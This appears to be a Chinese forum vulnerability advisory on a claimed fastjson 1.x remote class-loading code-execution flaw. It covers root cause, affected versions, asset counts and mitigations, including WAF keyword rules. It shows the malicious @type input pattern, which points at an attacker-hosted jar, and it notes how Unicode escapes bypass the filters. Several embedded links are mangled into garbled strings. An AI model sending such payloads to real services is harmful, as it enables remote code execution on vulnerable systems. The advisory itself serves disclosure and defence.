-
-
[原创]漏洞预警丨fastjson @JSONType 远程类加载远程代码执行漏洞
-
发表于: 3天前 602
-
一、漏洞概述
漏洞类型 | 反序列化 / 远程类加载 RCE |
漏洞等级 | 严重 |
漏洞编号 | 暂无(暂未分配 CVE) |
漏洞评分 | 9.8 |
利用复杂度 | 低 |
影响版本 | fastjson 1.2.66–1.2.83(1.x) |
利用方式 | 远程 |
POC/EXP | 已公开 |
近期,安全研究员 Kirill Firsov(@k_firsov,FearsOff)公开声称在 fastjson 1.2.83 中发现了一条无需 gadget 链的远程代码执行路径,随后社区公布了基于 @JSONType 注解探测机制的 PoC。攻击者仅需向任意 fastjson 反序列化端点发送一个含恶意 @type 的 JSON 请求,即可触发目标主动拉取远程恶意 jar、加载并执行其中的类静态初始化代码,最终实现未授权远程代码执行。为避免您的业务受影响,建议您及时开展安全风险自查。
fastjson 是阿里巴巴开源的高性能 JSON 序列化/反序列化库,在国内 Java 生态(尤其是 Spring Boot 微服务、中间件、各类业务系统)中应用极为广泛,常被用于 HTTP 接口的请求体解析。其历史上多次出现反序列化 RCE(如 CVE-2022-25845 autoType),社区普遍认为「关闭 autoType(默认即关闭)」「绑定具体类型 parseObject(body, Dto.class)」可作为缓解措施,但本次披露表明二者均无效。
据描述,该漏洞根因位于 ParserConfig.checkAutoType:fastjson 在解析 @type 时,会通过对类型名执行 getResourceAsStream(typeName.replace('.','/') + ".class") 来探测该类是否标注了 @JSONType 注解。由于 replace('.', '/') 同时作用于主机名中的点号,攻击者可构造形如 jar:http:..attacker:8000.probe!.POC 的 @type,经替换后(..→//、.→/)重建成 URL jar:842K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3q4@1N6r3q4U0K9$3g2J5i4K6y4m8z5o6l9H3x3q4)9J5c8Y4m8J5L8$3u0W2i4K6t1I4i4K6u0r3f1p5!0o6i4K6u0W2j5$3I4S2M7%4y4Q4c8e0y4Q4z5o6m8Q4z5o6u0Q4c8e0g2Q4b7V1c8Q4z5e0y4Q4c8e0N6Q4z5f1u0Q4b7f1g2Q4c8e0k6Q4b7e0m8Q4z5o6N6Q4c8e0S2Q4b7V1k6Q4z5e0m8Q4c8e0S2Q4b7e0q4Q4z5p5y4Q4c8e0g2Q4z5f1y4Q4b7e0S2Q4c8e0S2Q4z5o6y4Q4b7V1c8Q4c8e0g2Q4b7e0c8Q4z5f1k6Q4c8e0S2Q4b7e0N6Q4b7e0y4Q4c8e0k6Q4z5f1g2Q4z5e0l9`. jar:http:// 资源名的类加载器下(Spring Boot 可执行 fat-jar 默认使用的 `LaunchedURLClassLoader` 即满足),会主动向攻击者服务器请求该远程 jar,defineClass 加载后执行其静态初始化块(<clinit>)= RCE。
关键点:
autoType 关闭不能缓解:漏洞发生在 @type 注解探测路径,而非 autoType 放行路径,默认配置(autoType OFF)即受影响;
绑定具体类型不能缓解:恶意类的 <clinit> 在 fastjson 尝试将其强制转换为 Dto 之前就已执行(响应特征为 ClassCastException);
JDK 版本决定危害等级:JDK 8 下可完整 RCE;JDK 9+ 阻断了该构造类名的 defineClass,攻击降级为 SSRF(目标仍会发出远程请求)。
漏洞影响的产品和版本:
fastjson 1.2.66 – 1.2.83(1.x)
触发条件:应用以 Spring Boot 可执行 fat-jar 形式部署(LaunchedURLClassLoader),或任意可解析 jar:http:// 资源名的自定义类加载器环境
JDK 8 → 完整 RCE;JDK 9+ → SSRF(远程类加载被阻断)
已开启 -Dfastjson.parser.safeMode=true 的环境,checkAutoType 会短路、不进入该探测路径,不受影响
fastjson 2.x 不受此漏洞影响
二、漏洞复现

三、资产测绘
据 daydaymap 数据显示互联网存在5,331,995个资产,风险资产分布情况如下。
全球分布:

国内分布:

四、解决方案
根治措施:
优先迁移至 fastjson2(2.x),或在不信任输入路径上移除 fastjson 1.x;fastjson2 不受本漏洞影响。
若必须继续使用 fastjson 1.x,全局开启 safeMode:JVM 启动参数增加 -Dfastjson.parser.safeMode=true,使 checkAutoType 短路、不再进入 @type 注解探测路径,从而阻断本漏洞(需重启应用)。
临时缓解措施(无法立即升级/开启 safeMode 时):
JDK 升级至 9 及以上:可阻断构造类名的 defineClass,将危害由 RCE 降级为 SSRF(仅治标,SSRF 仍可造成内网探测/利用)。
出口流量白名单:禁止应用容器/进程主动外连,阻断对远程恶意 jar 的拉取 —— 即便漏洞被触发也无法完成类加载。
WAF / 边缘拦截:对请求体中 @type 含 jar:、!、..、整数 IP 字面量的请求进行拦截;注意:纯关键字匹配可被 \uXXXX Unicode 转义绕过(fastjson 仍会解码),不可作为唯一防线。
收敛攻击面:不将 fastjson 反序列化端点暴露至公网;对接口入参进行严格类型校验,拒绝任意 @type 字段。
自查排查:盘点业务中 fastjson 版本是否落在 1.2.66–1.2.83、是否以 Spring Boot 可执行 jar 部署、是否已开启 safeMode;检查应用是否存在未授权的 JSON 入口。
五、参考链接
fastjson 官方仓库(含 safeMode 及 autoType 历史): 原始披露:Kirill Firsov(@k_firsov,FearsOff)—— fastjson 1.2.83 gadget-free RCE 公开声称(2026-07)
六、ddpoc链接
288K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2V1k6s2m8G2j5#2)9J5k6h3y4G2L8g2)9J5c8V1c8h3b7W2)9J5k6o6t1H3x3U0k6Q4x3X3b7I4x3e0f1H3x3q4)9J5k6h3S2@1L8h3H3`.
[招生]科锐逆向工程师培训(2026年7月3日实地,远程教学同时开班, 第56期)!